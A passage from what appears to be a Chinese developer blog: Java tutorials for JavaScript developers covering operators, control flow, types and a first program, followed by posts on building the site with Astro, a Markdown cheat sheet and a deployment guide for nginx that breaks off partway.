x *= 2;    // x = x * 2 = 24
x /= 4;    // x = x / 4 = 6
x %= 4;    // x = x % 4 = 2

// 复合赋值会自动做类型转换
byte b = 10;
b += 5;              // ✅ 等价于 b = (byte)(b + 5)
// b = b + 5;        // ❌ 报错：b + 5 结果是 int，不能直接赋给 byte

比较运算符

int a = 5, b = 10;

a == b;    // false
a != b;    // true
a > b;     // false
a < b;     // true
a >= b;    // false
a <= b;    // true

对对象来说 == 比的是引用地址，要比较内容用 .equals()：

String s1 = new String("hi");
String s2 = new String("hi");

s1 == s2;         // false，两个不同对象
s1.equals(s2);    // true，内容相同

逻辑运算符

boolean x = true, y = false;

x && y;    // false  短路与：x 为 false 时不再计算 y
x || y;    // true   短路或：x 为 true 时不再计算 y
!x;        // false  非
x & y;     // false  逻辑与（不短路，两侧都会算）
x | y;     // true   逻辑或（不短路）
x ^ y;     // true   异或

99% 场景用 && 和 ||，& 和 | 只有在需要"两侧都执行"的少数场景（比如位运算或副作用）才用。

Java 没有 JS 里的 ??（空值合并）和 ?.（可选链），需要类似能力用 Optional（阶段十讲）：

// JS: const name = user?.name ?? 'Anonymous';
// Java:
String name = Optional.ofNullable(user)
    .map(User::getName)
    .orElse("Anonymous");

位运算符

int a = 0b1100;   // 12
int b = 0b1010;   // 10

a & b;    // 0b1000 = 8   按位与
a | b;    // 0b1110 = 14  按位或
a ^ b;    // 0b0110 = 6   按位异或
~a;       // 按位取反 = -13
a << 2;   // 左移 = 48（相当于 * 4）
a >> 2;   // 右移（带符号）= 3（相当于 / 4）
a >>> 2;  // 无符号右移（JS 也有这个）

三元运算符

int age = 20;
String type = age >= 18 ? "成年" : "未成年";

跟 JS 完全一样。Java 里三元运算符不能嵌套过深，可读性差就换成 if-else。

if / else

基本形式跟 JS 一致：

int score = 85;

if (score >= 90) {
    System.out.println("优秀");
} else if (score >= 60) {
    System.out.println("及格");
} else {
    System.out.println("不及格");
}

几个必须注意的差异：

// ❌ 条件必须是 boolean，不能像 JS 那样用 truthy/falsy
int n = 1;
// if (n) { ... }        // 编译错误
if (n != 0) { ... }      // ✅ 显式比较

// ❌ 字符串不能用 == 比较
String cmd = getCommand();
// if (cmd == "quit") { ... }   // 逻辑错误
if ("quit".equals(cmd)) { ... } // ✅ 常量在前，避免 cmd 为 null 时抛异常

// 单行 if 可以省略花括号，但强烈不推荐
if (score >= 60) System.out.println("及格");

// 悬挂 else 陷阱：else 匹配最近的 if
if (a) if (b) doSomething(); else doOther();   // else 匹配 if (b)

[!TIP] 字符串比较时把常量放在左边（"quit".equals(cmd)），这样即使 cmd 为 null 也不会抛 NullPointerException，只会返回 false。这个技巧在 Java 里叫 "Yoda Conditions"。

switch

传统 switch（跟 JS 一样有 fall-through 陷阱）

int day = 3;
String name;

switch (day) {
    case 1:
        name = "周一";
        break;                 // 必须 break，否则会继续执行下一个 case
    case 2:
        name = "周二";
        break;
    case 3:
    case 4:                    // 多个 case 合并
    case 5:
        name = "工作日中段";
        break;
    default:
        name = "其他";
}

传统 switch 的痛点：忘写 break 会 fall-through，容易出 bug。

switch 表达式（JDK 14+，推荐）

新语法用 -> 替代 :，不需要 break，还可以作为表达式返回值：

int day = 3;

String name = switch (day) {
    case 1 -> "周一";
    case 2 -> "周二";
    case 3, 4, 5 -> "工作日中段";     // 多值 case
    case 6, 7 -> "周末";
    default -> "其他";
};   // 注意分号

System.out.println(name);   // "工作日中段"

如果 case 分支要多行，用 yield 返回值：

int numLetters = switch (day) {
    case 1, 2, 3 -> 3;
    case 4, 5 -> 2;
    default -> {
        int len = computeLength(day);
        System.out.println("computed: " + len);
        yield len;          // 类似 return，但用于 switch 表达式
    }
};

switch 支持的类型

基本类型：byte、short、char、int（不包括 long、float、double、boolean）
包装类：Byte、Short、Character、Integer
String（JDK 7+）
枚举（enum）
JDK 21 起支持模式匹配（配合密封类，后面 OOP 阶段再讲）

用字符串的 switch：

String command = "start";

switch (command.toLowerCase()) {
    case "start" -> System.out.println("启动");
    case "stop"  -> System.out.println("停止");
    case "quit"  -> System.out.println("退出");
    default      -> System.out.println("未知命令：" + command);
}

[!NOTE] switch (String) 内部其实是先算 hashCode 再用 equals 比较，性能可以接受；但仍然比不上 if-else 直接比字符串，写业务时不用纠结这个差异。

循环

for 循环

// 基本形式，跟 JS 完全一致
for (int i = 0; i < 5; i++) {
    System.out.println(i);
}

// 多变量
for (int i = 0, j = 10; i < j; i++, j--) {
    System.out.println(i + ", " + j);
}

// 无限循环
for (;;) {
    // 靠 break 跳出
}

增强 for（for-each）

int[] nums = {1, 2, 3, 4, 5};

// 遍历数组或集合，语法比 JS 的 for...of 更简洁
for (int n : nums) {
    System.out.println(n);
}

String[] names = {"Tom", "Jerry"};
for (String name : names) {
    System.out.println("Hello, " + name);
}

对比 JS：

// JavaScript
for (const n of nums) { console.log(n); }
nums.forEach(n => console.log(n));

Java 的增强 for 底层用 Iterator，不能修改集合元素（想边遍历边删要用显式 Iterator，阶段八再讲）。

while / do-while

int i = 0;

while (i < 5) {
    System.out.println(i);
    i++;
}

// do-while 至少执行一次
int n;
do {
    n = readInput();
} while (n < 0);

break / continue / 标签

break 跳出当前循环，continue 跳过本次迭代——跟 JS 一致：

for (int i = 0; i < 10; i++) {
    if (i == 3) continue;   // 跳过 3
    if (i == 7) break;      // 遇到 7 结束
    System.out.println(i);
}
// 输出：0 1 2 4 5 6

Java 特有的标签化 break，可以跳出多层嵌套循环（JS 也支持这个语法，但用得少）：

outer:
for (int i = 0; i < 5; i++) {
    for (int j = 0; j < 5; j++) {
        if (i * j > 6) {
            System.out.println("break at " + i + "," + j);
            break outer;    // 直接跳出外层循环
        }
    }
}

不用标签的话，需要一个 flag 变量来控制，代码会啰嗦不少。

instanceof 与模式匹配

传统 instanceof

判断对象是不是某个类的实例，返回 boolean：

Object obj = "hello";

if (obj instanceof String) {
    String s = (String) obj;    // 需要显式强转
    System.out.println(s.length());
}

模式匹配 instanceof（JDK 16+）

判断 + 强转 + 声明变量一步到位，是现代 Java 的推荐写法：

Object obj = "hello";

if (obj instanceof String s) {    // 匹配成功后 s 自动可用
    System.out.println(s.length());
}

// 还能配合逻辑运算符
if (obj instanceof String s && s.length() > 3) {
    System.out.println(s.toUpperCase());
}

对比 TypeScript：

if (obj instanceof String) {
    const s = obj as string;   // TS 需要 as 断言
    console.log(s.length);
}

Java 的模式匹配更简洁，且类型安全由编译器保证。

综合小例子：猜数字游戏

把这一阶段的语法组合起来写一个能跑的小游戏：

import java.util.Random;
import java.util.Scanner;

public class GuessNumber {
    public static void main(String[] args) {
        Random random = new Random();
        int answer = random.nextInt(100) + 1;   // 1~100
        Scanner scanner = new Scanner(System.in);
        int attempts = 0;
        boolean guessed = false;

        System.out.println("我想了一个 1~100 的数字，猜猜看：");

        while (!guessed) {
            System.out.print("请输入：");
            int guess = scanner.nextInt();
            attempts++;

            if (guess < answer) {
                System.out.println("太小了");
            } else if (guess > answer) {
                System.out.println("太大了");
            } else {
                guessed = true;
                System.out.printf("猜对了！用了 %d 次%n", attempts);
            }

            if (attempts >= 10 && !guessed) {
                System.out.println("次数用完，答案是 " + answer);
                break;
            }
        }

        scanner.close();
    }
}

这段代码用到了：变量、Random、Scanner、while 循环、if/else if、break、printf 格式化输出——把前面几个阶段的东西串了起来。

复习卡片

// 1. 整数除法会截断
int r = 7 / 2;          // 3
double d = 7.0 / 2;     // 3.5

// 2. 复合赋值自动转型
byte b = 10;
b += 5;                 // ✅
// b = b + 5;           // ❌

// 3. 逻辑运算
a && b   // 短路与
a || b   // 短路或
!a       // 非

// 4. 三元
int max = a > b ? a : b;

// 5. if 条件必须是 boolean
if (n != 0) { ... }     // ✅
// if (n) { ... }       // ❌

// 6. 字符串比较用 equals，常量放前面
if ("quit".equals(cmd)) { ... }

// 7. switch 表达式（JDK 14+）
String name = switch (day) {
    case 1, 2, 3 -> "工作日";
    case 6, 7    -> "周末";
    default      -> "无效";
};

// 8. 多行 case 用 yield
int len = switch (day) {
    case 1 -> 3;
    default -> {
        int x = compute();
        yield x;
    }
};

// 9. 增强 for
for (int n : nums) { ... }

// 10. 标签化 break
outer:
for (...) {
    for (...) {
        if (cond) break outer;
    }
}

// 11. 模式匹配 instanceof（JDK 16+）
if (obj instanceof String s) {
    s.length();
}

记忆要点：

整数除法截断，double 除法要至少一个操作数是浮点
if 条件必须是明确的 boolean，不接受 truthy/falsy
字符串比较用 .equals()，常量放左边防 NPE
优先用 switch 表达式（-> + yield）而不是传统 switch
增强 for for (int n : nums) 简洁但无法修改元素
break label 可以跳出多层嵌套
instanceof 模式匹配让"判断 + 强转 + 命名"一步完成

下一个阶段进入数组和字符串，看看 Java 里"字符串是不可变对象"和"数组是固定长度"这两条设计怎么影响日常写法。

Java 阶段二：变量、数据类型与类型系统

Wed, 02 Sep 2026 06:00:00 GMT

JS 里 let x = 1 一句就完事，x 可以是数字下一秒变字符串也没人管。Java 完全反过来：先声明类型，再赋值，从此这个变量只能是这个类型。这个阶段把所有类型相关的东西一次讲完。

变量声明的基本形式

// 类型 变量名 = 初始值;
int age = 25;
String name = "Tom";
double price = 19.99;
boolean isValid = true;

// 也可以先声明再赋值
int count;
count = 10;

对比 JS：

// JavaScript
let age = 25;         // 类型自动推断
const name = "Tom";   // 常量

Java 里也有类似 const 的关键字，叫 final：

final double PI = 3.14159;
// PI = 3.14;  // ❌ 编译报错：cannot assign a value to final variable PI

[!TIP] 命名约定：

变量、方法：小驼峰（camelCase），跟 JS 一致

类、接口：大驼峰（PascalCase）

常量（static final）：全大写下划线（UPPER_SNAKE_CASE），比如 MAX_SIZE

包名：全小写，比如 com.example.app

8 种基本类型

Java 的基本类型（primitive types）是语言内置的、不是对象、直接存值。总共 8 种：

分类	类型	大小	取值范围	默认值	JS 对应
整数	`byte`	1 字节	-128 ~ 127	`0`	——
整数	`short`	2 字节	-32768 ~ 32767	`0`	——
整数	`int`	4 字节	约 ±21 亿	`0`	`number`（整数场景）
整数	`long`	8 字节	约 ±9.2 × 10¹⁸	`0L`	`bigint`
浮点	`float`	4 字节	约 7 位有效数字	`0.0f`	——
浮点	`double`	8 字节	约 15 位有效数字	`0.0`	`number`（默认）
字符	`char`	2 字节	单个 UTF-16 字符	`'\u0000'`	——
布尔	`boolean`	未定义	`true` / `false`	`false`	`boolean`

几个必须记住的字面量写法：

int decimal = 100;              // 十进制
int hex = 0xFF;                 // 十六进制 = 255
int binary = 0b1010;            // 二进制 = 10
int octal = 017;                // 八进制 = 15
int million = 1_000_000;        // 下划线分隔，提高可读性（JDK 7+）

long bigNumber = 9_000_000_000L;   // 必须加 L 后缀，否则被当成 int 溢出
float pi = 3.14f;                  // 必须加 f 后缀，否则被当成 double
double e = 2.718;                  // 默认就是 double
double exp = 1.6e-19;              // 科学计数法

char grade = 'A';                  // 单引号，只能一个字符
char unicode = '\u4e2d';           // Unicode 转义 = "中"
char newline = '\n';               // 常见转义字符

boolean done = true;               // 只有 true/false，不像 JS 有 truthy/falsy

[!WARNING] Java 里 boolean 不能跟数字互转。JS 中 if (1) 是真的，Java 里会直接编译报错：incompatible types: int cannot be converted to boolean。所有条件判断必须是明确的 boolean 表达式。

整数溢出：JS 里很少见的坑

int 是 32 位有符号，最大约 21 亿。超过就溢出，从最小值开始绕回：

int max = Integer.MAX_VALUE;   // 2147483647
System.out.println(max + 1);   // -2147483648  ← 溢出！

// 大数用 long
long big = 3_000_000_000L;     // ✅
// long wrong = 3_000_000_000; // ❌ 编译报错：integer number too large

JS 里的 Number.MAX_SAFE_INTEGER 是 9 千万亿（2^53 - 1），因为它是双精度浮点。Java 想要类似的能力就用 long，或者更大的用 BigInteger：

import java.math.BigInteger;

BigInteger huge = new BigInteger("123456789012345678901234567890");
BigInteger result = huge.multiply(BigInteger.TEN);

浮点数不精确：跟 JS 一样

0.1 + 0.2 != 0.3 这个坑 Java 也有，因为都遵循 IEEE 754：

System.out.println(0.1 + 0.2);          // 0.30000000000000004
System.out.println(0.1 + 0.2 == 0.3);   // false

涉及金额的场景永远用 BigDecimal：

import java.math.BigDecimal;

BigDecimal a = new BigDecimal("0.1");   // 注意传字符串，传 double 会带误差
BigDecimal b = new BigDecimal("0.2");
System.out.println(a.add(b));           // 0.3 精确

类型转换

自动类型转换（隐式）

小范围 → 大范围会自动转，不会丢精度：

byte b = 100;
int i = b;         // byte → int，自动
long l = i;        // int → long，自动
double d = l;      // long → double，自动

转换链：byte → short → int → long → float → double，char → int 也可以自动。

强制类型转换（显式）

大范围 → 小范围必须强制转换，可能丢精度或溢出：

double pi = 3.14;
int intPi = (int) pi;       // 3，小数部分被截断（不是四舍五入）

long big = 200L;
int small = (int) big;      // 200

// 危险的溢出
long tooBig = 3_000_000_000L;
int overflow = (int) tooBig;   // -1294967296，值完全不对

想要四舍五入用 Math.round：

int rounded = (int) Math.round(3.6);   // 4

字符串与数字互转

Java 没有 JS 那种 Number("123") 或 "123" * 1 的隐式转换，必须显式调用：

// 字符串 → 数字（用包装类的静态方法）
int n = Integer.parseInt("123");
double d = Double.parseDouble("3.14");
long l = Long.parseLong("9999999999");

// 数字 → 字符串
String s1 = String.valueOf(123);
String s2 = 123 + "";         // 拼接空串也可以，但不推荐
String s3 = Integer.toString(123);

// 非法字符串会抛异常
try {
    int bad = Integer.parseInt("abc");   // NumberFormatException
} catch (NumberFormatException e) {
    System.out.println("转换失败：" + e.getMessage());
}

包装类与自动装箱

每种基本类型都有一个对应的包装类（wrapper class），让基本类型也能"像对象一样用"：

基本类型	包装类
`byte`	`Byte`
`short`	`Short`
`int`	`Integer`
`long`	`Long`
`float`	`Float`
`double`	`Double`
`char`	`Character`
`boolean`	`Boolean`

自动装箱（autoboxing）：基本类型 → 包装类，编译器帮你调用 Integer.valueOf()：

Integer wrapped = 42;          // 自动装箱：Integer.valueOf(42)
int unwrapped = wrapped;       // 自动拆箱：wrapped.intValue()

包装类的主要用处：

集合只能装对象：List<Integer> 可以，List<int> 不行。
提供常量和静态工具方法：Integer.MAX_VALUE、Integer.parseInt。
允许为 null：int 不能是 null，Integer 可以（数据库字段常用）。

[!CAUTION] 自动装箱有个陷阱——用 == 比较包装类：
Integer a = 100;
Integer b = 100;
System.out.println(a == b);       // true（-128~127 有缓存）

Integer c = 200;
Integer d = 200;
System.out.println(c == d);       // false（超出缓存范围，是两个不同对象）
System.out.println(c.equals(d));  // true ← 永远用 equals
记住一句话：包装类的相等判断永远用 .equals()，不用 ==。

var：类型推断

从 JDK 10 开始，可以用 var 让编译器推断类型，类似 TS 的推断：

var name = "Tom";         // 推断为 String
var age = 25;             // 推断为 int
var list = new ArrayList<String>();   // 推断为 ArrayList<String>

// 但 var 不是"动态类型"！类型在编译期已经确定，之后不能变
var x = 10;
// x = "hello";   // ❌ 编译报错：incompatible types

var 使用建议：

✅ 右边类型很明显时用（new、字面量、静态工厂方法）
❌ 右边是方法调用且返回类型不直观时不用
❌ 不能用于类字段、方法参数、返回类型（只能用于局部变量）

字符串：不可变的对象

String 不是基本类型，是 java.lang.String 类的对象。它最重要的特性是不可变（immutable）：

String s = "hello";
s.concat(" world");          // 返回新字符串 "hello world"
System.out.println(s);       // 仍然是 "hello"，原字符串没变

s = s.concat(" world");      // 必须重新赋值
System.out.println(s);       // "hello world"

字符串常量池

Java 会把字面量字符串放到常量池（string pool）里复用：

String a = "hello";
String b = "hello";
String c = new String("hello");

System.out.println(a == b);       // true，指向常量池同一个对象
System.out.println(a == c);       // false，c 是堆里的新对象
System.out.println(a.equals(c));  // true，内容相等

再次强调：比较字符串内容永远用 .equals()，== 是比引用地址。

字符串拼接的性能

循环里用 + 拼接会产生大量临时对象，性能差：

// ❌ 慢：每次循环创建新 String
String result = "";
for (int i = 0; i < 10000; i++) {
    result += i;
}

// ✅ 快：StringBuilder 内部是可变的字符数组
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 10000; i++) {
    sb.append(i);
}
String result = sb.toString();

单行拼接可以直接用 +（编译器会优化成 StringBuilder）：

String greeting = "Hello, " + name + "! You are " + age + " years old.";

格式化字符串

Java 没有 JS 的模板字符串 `hi ${name}`，用 String.format 或 JDK 15+ 的 formatted：

String name = "Tom";
int age = 25;

// 方式一：String.format（类似 C 的 printf）
String s1 = String.format("Hello, %s! You are %d years old.", name, age);

// 方式二：formatted（JDK 15+，链式调用更顺手）
String s2 = "Hello, %s! You are %d years old.".formatted(name, age);

// 常用占位符：
// %s 字符串   %d 整数   %f 浮点   %b 布尔   %c 字符   %% 百分号本身
// %.2f 保留两位小数   %5d 右对齐宽度 5   %-5d 左对齐

常用字符串方法

String s = "Hello, World";

s.length();                  // 12（属性 length 是数组用的，字符串是方法 length()）
s.charAt(0);                 // 'H'
s.substring(7);              // "World"
s.substring(0, 5);           // "Hello"，左闭右开
s.indexOf("World");          // 7
s.contains("World");         // true
s.startsWith("He");          // true
s.endsWith("ld");            // true
s.replace("World", "Java");  // "Hello, Java"
s.replaceAll("\\s+", "-");   // 正则替换
s.split(", ");               // ["Hello", "World"]
s.trim();                    // 去掉两端空白
s.toUpperCase();             // "HELLO, WORLD"
s.toLowerCase();             // "hello, world"
String.join("-", "a","b","c");  // "a-b-c"

数组快速一瞥

数组的详细用法放在阶段四，这里先见一面：

int[] nums = new int[5];          // 长度 5，全是 0
int[] primes = {2, 3, 5, 7};      // 直接初始化
String[] names = new String[3];   // 长度 3，全是 null

nums.length;      // 5，注意 length 是**字段**不是方法
nums[0] = 10;     // 索引访问

数组长度固定不变，想要动态数组用 ArrayList（阶段八讲）。

复习卡片

一分钟回忆本阶段所有关键点：

// 8 种基本类型
byte b = 1;  short s = 1;  int i = 1;  long l = 1L;
float f = 1.0f;  double d = 1.0;
char c = 'A';  boolean bool = true;

// 字面量后缀
long big = 100L;
float pi = 3.14f;
int million = 1_000_000;

// 常量
final double E = 2.718;

// var 类型推断（仅局部变量）
var name = "Tom";   // String

// 类型转换
int n = (int) 3.99;         // 3（截断）
int rounded = (int) Math.round(3.99);   // 4
int parsed = Integer.parseInt("123");
String str = String.valueOf(123);

// 包装类
Integer boxed = 42;         // 自动装箱
int unboxed = boxed;        // 自动拆箱
boxed.equals(42);           // ✅ 比较用 equals

// 字符串
String greeting = "hi";
greeting.length();          // 方法不是字段
greeting.equals("hi");      // 内容比较永远用 equals
"hi %s".formatted(name);    // 格式化

// 循环拼接
StringBuilder sb = new StringBuilder();
sb.append("a").append("b");
sb.toString();

记忆要点：

8 种基本类型：byte short int long float double char boolean
long 加 L，float 加 f
boolean 不能与数字互转，条件必须明确
包装类比较用 .equals()，不用 ==
字符串不可变，循环拼接用 StringBuilder
字符串内容比较用 .equals()，== 是引用比较
金额用 BigDecimal，别用 double
var 只是类型推断，类型仍是静态的

下一阶段进入运算符和流程控制，看看 Java 的 if/for/switch 跟 JS 有哪些细节差异。

Java 阶段一：JDK、JRE、JVM 与第一个程序

Wed, 02 Sep 2026 01:00:00 GMT

学任何语言之前，先弄明白"我敲的代码到底是怎么变成屏幕上运行的程序的"。JavaScript 是浏览器/V8 直接解释执行，Java 多了一步"编译成字节码"。这个阶段就把这一步彻底讲清楚。

JDK、JRE、JVM 到底谁装谁

三个缩写经常被混用，其实是三层包含关系：

┌────────────────────────────── JDK ──────────────────────────────┐
│  javac 编译器   jdb 调试器   jshell   jar 打包   ...开发工具     │
│                                                                 │
│  ┌─────────────────────────── JRE ───────────────────────────┐  │
│  │  Java 标准库（java.lang、java.util、java.io ...）         │  │
│  │                                                            │  │
│  │  ┌────────────────────── JVM ─────────────────────────┐    │  │
│  │  │  类加载器 → 字节码解释器 / JIT 编译器 → 操作系统    │    │  │
│  │  └────────────────────────────────────────────────────┘    │  │
│  └────────────────────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────────────────────┘

JVM（Java Virtual Machine）：真正执行字节码的虚拟机，屏蔽操作系统差异。"一次编写，到处运行"就靠它。
JRE（Java Runtime Environment）= JVM + Java 标准库。只想运行 Java 程序装它就够了。
JDK（Java Development Kit）= JRE + 编译器 javac + 各种开发工具。要写 Java 代码必须装 JDK。

[!TIP] JDK 21 之后，Oracle 已经把 JRE 从发行包里拆掉了，日常开发直接装 JDK 即可，不用再纠结选哪个。这个系列用的都是 JDK 21（LTS）。

Java 程序的运行流程

一个 .java 文件从源代码到运行结果，中间经过两步：

HelloWorld.java  ──[javac 编译]──▶  HelloWorld.class  ──[java 运行]──▶  JVM 执行字节码
    源代码                              字节码                             运行结果

对比一下熟悉的前端流程：

阶段	Java	前端类比
编写	`HelloWorld.java`	`index.ts`
编译	`javac` 生成 `.class` 字节码	`tsc` 生成 `.js`
打包	`jar` 命令打包成 `.jar`	`vite build` 打包成 `dist/`
运行	JVM 解释或 JIT 编译字节码	浏览器/Node 解释或 JIT 执行 JS

区别在于：Java 的字节码是平台无关的中间形式，同一个 .class 文件在 Windows、Linux、macOS 上都能跑；JS 的产物则是给浏览器/V8 直接吃的文本。

第一个程序：Hello World

新建 HelloWorld.java，注意文件名必须和 public 类名完全一致（大小写敏感）：

public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}

编译 + 运行：

javac HelloWorld.java     # 生成 HelloWorld.class
java HelloWorld           # 运行，注意不带 .class 后缀
# 输出：Hello, World!

从 JDK 11 开始还支持单文件直接运行，省去手动编译：

java HelloWorld.java      # 编译 + 运行一步到位，适合写小脚本

逐行拆解代码

上面这 5 行看着简单，其实每一处都有说法：

public class HelloWorld {

public：访问修饰符，表示所有类都能访问它。一个 .java 文件里最多只能有一个 public 类，且文件名必须等于这个类名。
class：定义一个类。Java 是纯面向对象语言，所有代码都必须写在类里。
HelloWorld：类名，大驼峰命名（PascalCase）。

    public static void main(String[] args) {

public static：静态方法，属于类本身而不是类的实例，JVM 启动时直接调用，不需要 new。
void：返回类型是"无"。JS 里函数不写 return 就是返回 undefined，Java 必须显式声明。
main：方法名，JVM 启动时约定的入口方法，名字必须是 main。
String[] args：命令行参数数组。执行 java HelloWorld a b c 时，args 就是 ["a", "b", "c"]。

        System.out.println("Hello, World!");

System 是 java.lang 包里的类，out 是它的静态字段（一个 PrintStream 对象），println 是这个对象的方法。
等价于 JS 的 console.log，但 println 会自动加换行，print 不会。
Java 里字符串用双引号，单引号只表示 char 字符。这一点跟 JS 反着来，刚开始容易写错。

常见编译错误对照

报错	原因	JS 里的类比
`class, interface, enum, or record expected`	类外写了代码	顶层没有正确闭合花括号
`';' expected`	语句末尾漏了分号	JS 有 ASI 自动补，Java 没有
`cannot find symbol`	变量/方法/类没导入或拼错	`ReferenceError`
`class HelloWorld is public, should be declared in a file named HelloWorld.java`	文件名和 public 类名不一致	——
`main method not found`	`main` 签名写错（比如少了 `static`）	——

[!WARNING] Java 每一条语句都必须以分号 ; 结尾，没有 JS 那种自动分号插入（ASI）。写完一行就加分号是最省事的习惯。

classpath：JVM 去哪儿找 class 文件

java HelloWorld 命令默认从当前目录找 HelloWorld.class。如果 class 文件在别的目录，需要 -cp（或 -classpath）指定：

# 假设编译产物在 ./out 目录
javac -d out HelloWorld.java    # -d 指定输出目录
java -cp out HelloWorld         # -cp 指定 classpath

后续用 Maven/Gradle 时，classpath 由构建工具自动管理，写业务代码时基本不用手动碰。但看到 ClassNotFoundException 时，第一反应就是"classpath 里没这个类"。

第一个稍微像样的程序

写一个命令行计算器，读入两个数字并输出和。这里用到 Scanner 读控制台输入：

import java.util.Scanner;   // 引入其他包的类要 import

public class Sum {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("请输入第一个整数：");
        int a = scanner.nextInt();

        System.out.print("请输入第二个整数：");
        int b = scanner.nextInt();

        System.out.println("a + b = " + (a + b));

        scanner.close();
    }
}

跑起来：

javac Sum.java
java Sum
# 请输入第一个整数：3
# 请输入第二个整数：5
# a + b = 8

几个新知识点：

import java.util.Scanner; 类似 JS 的 import { Scanner } from 'java.util'，只是 Java 没有相对路径的概念，都是包的全限定名。
new Scanner(System.in) 创建对象，Java 里除了基本类型都要用 new。
"a + b = " + (a + b)：+ 遇到字符串会做拼接，所以要用括号保证先算加法。注意优先级，写成 "a + b = " + a + b 会变成 "a + b = 35"（拼接）。

复习卡片

一分钟回想整个阶段的关键点：

// 1. 一个 .java 文件 = 一个 public 类，文件名 = 类名
public class HelloWorld {
    // 2. main 方法是入口，签名固定
    public static void main(String[] args) {
        // 3. 输出：println 带换行，print 不带
        System.out.println("Hello");
        // 4. 每条语句必须以分号结尾
    }
}

# 5. 编译 + 运行
javac HelloWorld.java    # 生成 .class
java HelloWorld          # 运行（不带 .class）

# 6. 单文件直接运行（JDK 11+）
java HelloWorld.java

# 7. classpath 指定
javac -d out HelloWorld.java
java -cp out HelloWorld

记忆要点：

JDK ⊃ JRE ⊃ JVM
.java → javac → .class（字节码）→ java → JVM 执行
main 方法签名必须一字不差：public static void main(String[] args)
文件名 = public 类名
字符串用双引号，字符用单引号
语句末尾必须有分号

下一个阶段进入变量和数据类型，看看 Java 的静态类型系统和 JS 的动态类型到底差在哪儿。

本地预览效果演示

Tue, 01 Sep 2026 00:00:00 GMT

这是一篇演示文章，用来验证本地开发服务器的热更新效果。试着在编辑器里改动这段文字并保存，浏览器会自动刷新，无需手动重启服务。

（热更新已验证：这行是刚才加的，保存后页面自动同步，全程没有重启服务器。）

基础排版

正文段落支持粗体、斜体、~~删除线~~、行内代码 以及超链接。

这是一段引用。引用常用于强调别人的观点或补充说明。

无序列表：

第一项
第二项
- 嵌套子项
第三项

有序列表：

打开终端
运行 npm run dev
访问 localhost:4321

代码高亮

Fuwari 使用 Expressive Code 渲染代码块，自带行号和复制按钮。

function greet(name) {
  // 试着改一下这行注释，保存页面会自动热更新
  console.log(`你好，${name}！`);
}

greet("世界");

def fibonacci(n):
    if n <= 1:
        return n
    return fibonacci(n - 1) + fibonacci(n - 2)

print([fibonacci(i) for i in range(10)])

提示块

Fuwari 支持 GitHub 风格的提示语法：

[!NOTE] 这是普通提示，用来补充说明信息。

[!TIP] 这是技巧提示，分享一些好用的做法。

[!IMPORTANT] 这是重要提示，需要特别留意的内容。

[!WARNING] 这是警告，提示可能存在的风险。

[!CAUTION] 这是危险提示，操作不当可能造成损失。

数学公式

行内公式 $E = mc^2$ 与块级公式都支持（基于 KaTeX）：

$$ \int_{-\infty}^{\infty} e^{-x^2} , dx = \sqrt{\pi} $$

表格

命令	作用
`npm run dev`	启动本地开发服务器
`npm run build`	构建生产版本到 `dist/`
`npm run new-post -- 文件名`	新建一篇文章

小结

如果上面这些元素都渲染正常，说明本地开发环境完全跑通了。接下来可以放心写自己的文章，边写边看效果。

满意之后运行 ./deploy.sh 就能一键部署到线上服务器。

开张大吉：这个博客是怎么搭起来的

Mon, 31 Aug 2026 00:00:00 GMT

第一篇文章，简单说说这个站的来历。

为什么选 Astro

一开始纠结过几个方案，最后选 Astro 的理由很直接：

默认就是静态的 —— 页面在构建期渲染成 HTML，浏览器拿到的不是一堆需要现场拼装的 JS。
只有需要交互的地方才加载 JS —— 搜索框、主题切换这类组件单独激活，文章正文一个字节都不用。
产物就是一堆文件 —— 丢给 nginx 就能跑，服务器上不用再跑一个 Node 进程。

目录长什么样

src/
├── components/    组件：页头、页脚、主题切换、评论
├── content/blog/  文章都在这里，一个 .md 文件一篇
├── layouts/       页面骨架
├── pages/         路由：首页、文章列表、搜索、关于
└── consts.ts      站点信息，改站名改描述就动这里

写一篇新文章

在 src/content/blog/ 下新建一个 .md 文件，开头写 frontmatter：

---
title: '文章标题'
description: '一句话简介，会显示在列表页和 RSS 里'
pubDate: 2026-08-31
---

然后往下写正文即可。文件名就是 URL，比如 hello-world.md 对应 /posts/hello-world/。

改完执行 npm run build，产物在 dist/ 目录里。

接下来

换掉站名和描述：改 src/consts.ts
换掉这个页面：改 src/pages/index.astro
开评论：在 src/consts.ts 填 Giscus 配置

下一篇会写 Markdown 的常用语法速查，方便以后写文章时对照。

Markdown 写作速查表

Sun, 30 Aug 2026 00:00:00 GMT

写文章时总有几个语法记不住，索性整理一张速查表放这儿。

标题与强调

# 一级标题
## 二级标题
### 三级标题

**加粗** 和 *斜体*，还有 `行内代码`。

效果：加粗和斜体，还有 行内代码。

列表

无序列表：

苹果
香蕉
- 香蕉派
橙子

有序列表：

写草稿
校对一遍
构建发布

引用

引用一段话，适合放金句或者注意事项。

可以有多段。

代码块

行内用反引号，整块用三个反引号并标注语言：

function greet(name) {
	return `你好，${name}`;
}

console.log(greet('世界'));

链接与图片

[链接文字](https://example.com)
![图片说明](/path/to/image.png)

表格

语法	用途	备注
`#`	标题	一到六级
`>`	引用	可嵌套
`-`	无序列表	也可用 `*`
```	代码块	标注语言可高亮

分割线

三个以上的减号：

转义

想显示星号本身而不是斜体，在前面加反斜杠：\*不是斜体\*。

写文章时忘了什么，回来看这篇就行。

把 Astro 站点挂到 nginx 的 /blog 路径下

Fri, 28 Aug 2026 00:00:00 GMT

把静态站部署到域名的根路径很简单，挂到子路径（比如 /blog）就会遇到几个坑。记录一下完整过程。

第一步：告诉 Astro 站点在子路径

astro.config.mjs 里加一行：

export default defineConfig({
	site: 'https://example.com',
	base: '/blog',
});

base 会让 Astro 把 CSS、JS、图片这些资源的引用自动加上 /blog 前缀。构建完看一眼 dist/index.html，里面的 /_astro/xxx.css 应该已经变成 /blog/_astro/xxx.css。

第二步：手写的链接要自己补前缀

这是最容易漏的一点：base 只处理 Astro 自己生成的资源引用，你写在模板里的 <a href="/posts"> 不会自动加前缀，点了会跳到网站根目录。

解决办法是统一用一个辅助函数拼路径：

export const BASE = import.meta.env.BASE_URL;

export function url(path: string): string {
	if (path === '/') return `${BASE}/`;
	return `${BASE}${path.startsWith('/') ? path : `/${path}`}`;
}

模板里统一写 href={url('/posts')}，输出就是 /blog/posts。

第三步：注意路由重名

